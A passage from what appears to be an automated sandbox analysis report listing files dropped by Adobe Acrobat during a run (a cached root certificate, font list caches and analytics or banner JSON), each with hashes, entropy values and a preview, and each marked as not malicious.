SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklYNmG+kNl/tfllXlE/HT8knhvNNX8RolJuRdxLlGB9lQRYwpDdt:kKBcGbPeT8y3NMa8RdWBwRd
MD5:	1DC72E363C429CD0A4E06134D1748D8C
SHA1:	6ACB305C704A9D1C2179E7286E610F72F6DE6622
SHA-256:	A0A226FC64ED758126C3FFF098DCE7372D46F99F53548F5A61EBD5CE69DEAC66
SHA-512:	37DBC78AF93579DA2A499E3726574E6E616BE7C1DDBB2C6F60A94B6334D38E5DC1C64356D68C0238020A04B09101D6551D8CEC87212E5EFF58907A124193C9F2
Malicious:	false
Preview:	p...... .........:...c..(....................................................... ..........W.....a..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7836

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7836

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.36457375016079
Encrypted:	false
SSDEEP:	6:YEQXJ2HXX0BpxscHVoZcg1vRcR0Y/ieoAvJM3g98kUwPeUkwRe9:YvXKXYs3Zc0vRGMbLUkee9
MD5:	CFF60718C8579C594391A0BDC66C90EA
SHA1:	6B75A2E956765EDF37DCDCB010A9F31BC2AE4B9A
SHA-256:	53115F6D433A97772B8DA49C29B6FAC65ED4A058811A9668B4E4945947AE980D
SHA-512:	96C7BB9BB713E2EE1FBE0510997479452506FA51DA7F0D10CC58335FFE7C13BD6E65D5088E48ECE9EA7941852122514F1F37DC6AF6BC91018150909904468144
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a23c9b7b-c678-4a23-858d-a58858d5d043","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752865264,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.317815836532963
Encrypted:	false
SSDEEP:	6:YEQXJ2HXX0BpxscHVoZcg1vRcR0Y/ieoAvJfBoTfXpnrPeUkwRe9:YvXKXYs3Zc0vRGWTfXcUkee9
MD5:	54CFD7BCBEDC8BB9E93FB188F94AD5A6
SHA1:	BC62F7F434E39F5130445D9C517EE9AFA375A88A
SHA-256:	B451F487F79A70F48474C9AB138E07B928C16733765BC22FF788BA3A3723C75B
SHA-512:	26C9FD751BF8FEA1A8C7DEE3B7E97C5EEEEAD3B522A001B54993BBEABCA904221C6EA971EF39E9D6FE5ECD683B2405DB570AAA88AE9648EA16E9E19229EB528D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a23c9b7b-c678-4a23-858d-a58858d5d043","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752865264,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.295768436532323
Encrypted:	false
SSDEEP:	6:YEQXJ2HXX0BpxscHVoZcg1vRcR0Y/ieoAvJfBD2G6UpnrPeUkwRe9:YvXKXYs3Zc0vRGR22cUkee9
MD5:	EFE3FDC5821ED71560AE3945713004D0
SHA1:	822541D0786941D4DF3770BF2AD13C38373A4676
SHA-256:	64345ECFD2DC4F063FEF78AD022796AAEF46948093F7DA339B0B94F0856B3528
SHA-512:	9320F7B89CF499715A57C6463D4078AB0610356AF05D37F8F9261B5C7874021C62CE2FDAB3916DCF6BD1D4A66CD5F934F765DD15FB33BF30A01AA0B304E3D74D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a23c9b7b-c678-4a23-858d-a58858d5d043","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752865264,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.351626725262743
Encrypted:	false
SSDEEP:	6:YEQXJ2HXX0BpxscHVoZcg1vRcR0Y/ieoAvJfPmwrPeUkwRe9:YvXKXYs3Zc0vRGH56Ukee9
MD5:	392DDC7CAB7D70CB1398C99404AD1FD5
SHA1:	D6A660EBC68B225209CCD8CA8AFE1CC4BDAA24C7
SHA-256:	034D3118CEF690D179F2F3505C4E153E9B04FB7442DBE4AFF2B785B1CA4F3364
SHA-512:	473000EBD58D43FAF402A953C008F2955218F8317A71951722ADF73A1442CCF303EBE8E2CD86AFDE150871A26134E0737C578CE37AAC987715FABF68870A792E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a23c9b7b-c678-4a23-858d-a58858d5d043","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752865264,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689036078803956
Encrypted:	false
SSDEEP:	24:Yv6Xr3zvWpLgE9cQx8LennAvzBvkn0RCmK8czOCCSf:YvcOhgy6SAFv5Ah8cv/f
MD5:	124DC890078678EEB30067676BE9A467
SHA1:	CD532DE2749C9D9F2EB4AAE1EEA4AB3E57C3BE8A
SHA-256:	58507D9E085046AD6CB6631378ECF1F93AABB959CD2CDC7A2B42159298468149
SHA-512:	EA3C10DED3A56CA632D8438FA0D9491050ABF76EE426655743688D8F7FB804771F5A9245EDC6CD90DEC317E16E7C38B9999AAC65986660FFBBA1452EC43D5967
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a23c9b7b-c678-4a23-858d-a58858d5d043","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752865264,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297822003749211
Encrypted:	false
SSDEEP:	6:YEQXJ2HXX0BpxscHVoZcg1vRcR0Y/ieoAvJf8dPeUkwRe9:YvXKXYs3Zc0vRGU8Ukee9
MD5:	22517D5A69880F1FCAC10BE2B422369B
SHA1:	EE8F87DD0535ED1DF1E6511BDCF48EFED24AC55E
SHA-256:	D66AC6FCA88B143FE2B2FD68DFB28C88DA337758652A0E58C46F5E6C92AB55B4
SHA-512:	C818F64F069D7D8D1E1C25E6A9EAAE4DCD827456C86603CDBAE7700486E8069AB413EC1CD46BF26E03B7D7B5447B011E26D3AC5A4A48B25509FF21C050FB26CA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a23c9b7b-c678-4a23-858d-a58858d5d043","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752865264,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.302635612219561
Encrypted:	false
SSDEEP:	6:YEQXJ2HXX0BpxscHVoZcg1vRcR0Y/ieoAvJfQ1rPeUkwRe9:YvXKXYs3Zc0vRGY16Ukee9
MD5:	3FF3947EFC713A1029956369CEE6DF95
SHA1:	597895CBE79EF305E96D48CB959331C705F558DA
SHA-256:	0FE1BAC90AD2EE00C24A6F7AD7775F0225AFCF09145089D5A16C467A07959B8D
SHA-512:	DAB0ADF0C96C15C0507107D90958C98F1E442A7284CF9BC1B5445D777A68744AFEBE3F630A162C6FB3AA2472A899C60E6FD00020521F2A3EAB79AD7DB2B31D33
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a23c9b7b-c678-4a23-858d-a58858d5d043","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752865264,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306289188428814
Encrypted:	false
SSDEEP:	6:YEQXJ2HXX0BpxscHVoZcg1vRcR0Y/ieoAvJfFldPeUkwRe9:YvXKXYs3Zc0vRGz8Ukee9
MD5:	F12DF744D552E945F8830FE74E1BC709
SHA1:	CC4C5272D6CCB2A8B5F9763A24A1C2B6487E71B4
SHA-256:	8537142A0A4F21F5B64DF47D76C917F97F467DCCF789DBAAD4410ADA11A759C1
SHA-512:	39D519639C9CF73DC00283520F2A8303441F77F2541642781A25A6401D784EDBC5A314EBA35D55B41D18665377802B3C3BE3A328C4CA3A8585890E74AC1743C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a23c9b7b-c678-4a23-858d-a58858d5d043","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752865264,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.323707307030709
Encrypted:	false
SSDEEP:	6:YEQXJ2HXX0BpxscHVoZcg1vRcR0Y/ieoAvJfzdPeUkwRe9:YvXKXYs3Zc0vRGb8Ukee9
MD5:	432618A2A23E225DD1ADB5FBEF4FA1BC
SHA1:	73AB5BDC3D6802D079DB35B73D31069FC6F8BB53
SHA-256:	9DC3D6E8DA821A381A10C053F91D867A5E46F8DE81CF075A4897C6593506C5A2
SHA-512:	DDA8BCDC9AF228ED1A18B3C6CD7AC1ECB207724BA3644370D8806D83199ADE50905A6C68321B724AD0B47AFCF0441FE8112B6AAA9CA0B67D945F8E469B4B4356
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a23c9b7b-c678-4a23-858d-a58858d5d043","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752865264,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304718707664027
Encrypted:	false
SSDEEP:	6:YEQXJ2HXX0BpxscHVoZcg1vRcR0Y/ieoAvJfYdPeUkwRe9:YvXKXYs3Zc0vRGg8Ukee9
MD5:	9868CA7D1AAA3945A4C7E639FF441FEE
SHA1:	975544175A787190C3465298AF75E6FB1C4F8B8D
SHA-256:	46B64DD0B2A14E0FD46B483E42FC65FBF11608B782B0CF149D827063461A0FF1
SHA-512:	64D6B5EBA78F572A2FEE57C3AE4CA027C47260F241B3416993E281456CD8FC21138304604CBE524E382340076D9B7D083876180679D35DFE23874042D5BED474
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a23c9b7b-c678-4a23-858d-a58858d5d043","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752865264,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.290534454793016
Encrypted:	false
SSDEEP:	6:YEQXJ2HXX0BpxscHVoZcg1vRcR0Y/ieoAvJf+dPeUkwRe9:YvXKXYs3Zc0vRG28Ukee9
MD5:	ADCBAE25897B5D6BB075B694BBAA30F4
SHA1:	30289A2BC057EDA80BF7780D94EA708E4C4C0A2C
SHA-256:	A3EEF252F457EE913CBECC1A54D3D22AFF1EDAB4BE99F218903709D3855EE4B5
SHA-512:	66AEBBB036353660411E8C97E44C00B2AA8C3EFD1C89FA02027E06B4D147E239775978F7BF753E069D242E280BD382A13F2FAE5ED1960D4270325D6644DEF0D8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a23c9b7b-c678-4a23-858d-a58858d5d043","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752865264,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2882333743573815
Encrypted:	false
SSDEEP:	6:YEQXJ2HXX0BpxscHVoZcg1vRcR0Y/ieoAvJfbPtdPeUkwRe9:YvXKXYs3Zc0vRGDV8Ukee9
MD5:	D66E2A001A636A4610D1FDB861C710AF
SHA1:	224211CEFA9DFF026264463B415678608BD75DBC
SHA-256:	D44B4EC772F534CA6D0557D6E3F17B8C3D732D0AA048F31AE7F3741D9C7069B0
SHA-512:	EB2CC95CA69CF808A2CB76810B5719CBA35965E0AC7621B525CC216D47295D8403570CEA7F65963D2DC201C224F18B3F777E9F82967E054263D6828B97D2D5C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a23c9b7b-c678-4a23-858d-a58858d5d043","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736752865264,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2932460065412865
Encrypted:	false
SSDEEP:	6:YEQXJ2HXX0BpxscHVoZcg1vRcR0Y/ieoAvJf21rPeUkwRe9:YvXKXYs3Zc0vRG+16Ukee9
MD5:	11419B246897910DD08BE6404E502CF4
SHA1:	59547E9AA803EF752C02458E160BFB1A8CEE226B
